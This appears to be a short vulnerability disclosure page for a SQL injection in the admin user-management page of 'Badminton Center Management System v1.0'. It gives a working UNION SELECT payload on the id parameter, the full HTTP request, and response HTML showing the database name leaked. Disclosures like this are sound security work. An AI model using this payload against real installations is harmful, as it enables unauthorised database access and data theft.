debug601 Create SQLi-4.md History

1 contributor

26 lines (18 sloc) | 1.11 KB

Badminton Center Management System v1.0 by oretnom23 has SQL injection

vendors: https://www.sourcecodester.com/php/15318/badminton-center-management-system-phpoop-free-source-code.html

Vulnerability File: /bcms/admin/?page=user/manage_user&id=

Vulnerability location: /bcms/admin/?page=user/manage_user&id=, id

[+] Payload: /bcms/admin/?page=user/manage_user&id=-3%27%20union%20select%201,database(),3,4,5,6,7,8,9,10,11--+ // Leak place ---> id

```
GET /bcms/admin/?page=user/manage_user&id=-3%27%20union%20select%201,database(),3,4,
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=qq2e8htekg3g2rkgtbq38p0jnv
Connection: close
```

```
GET
/bcms/admin/?page=user/manage_user&id=-3%27%20union%20se
lect%201,database(),3,4,5,6,7,8,9,10,11--+ HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64;
rv:46.0) Gecko/20100101 Firefox/46.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/
*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=qq2e8htekg3g2rkgtbq38p0jnv
Connection: close
```

```
        <!-- Content Wrapper. Contains page content -->
      <div class="content-wrapper  pt-3" style="min-height: 567.854px;">

        <!-- Main content -->
        <section class="content  text-dark">
          <div class="container-fluid">
            <div class="card card-outline rounded-0 card-navy">
       <div class="card-body">
              <div class="container-fluid">
                      <div id="msg"></div>
                      <form action="" id="manage-user">
                              <input type="hidden" name="id" value="1">
                              <div class="form-group">
                                      <label for="name">First Name</label>
                                      <input type="text" name="firstname" id="firstname"
class="form-control" value="bcms_db" required>
                              </div>
                              <div class="form-group">
                                      <label for="name">Middle Name</label>
                                      <input type="text" name="middlename" id="middlename"
class="form-control" value="3">
                              </div>
                              <div class="form-group">
                                      <label for="name">Last Name</label>
                                      <input type="text" name="lastname" id="lastname"
class="form-control" value="4" required>
```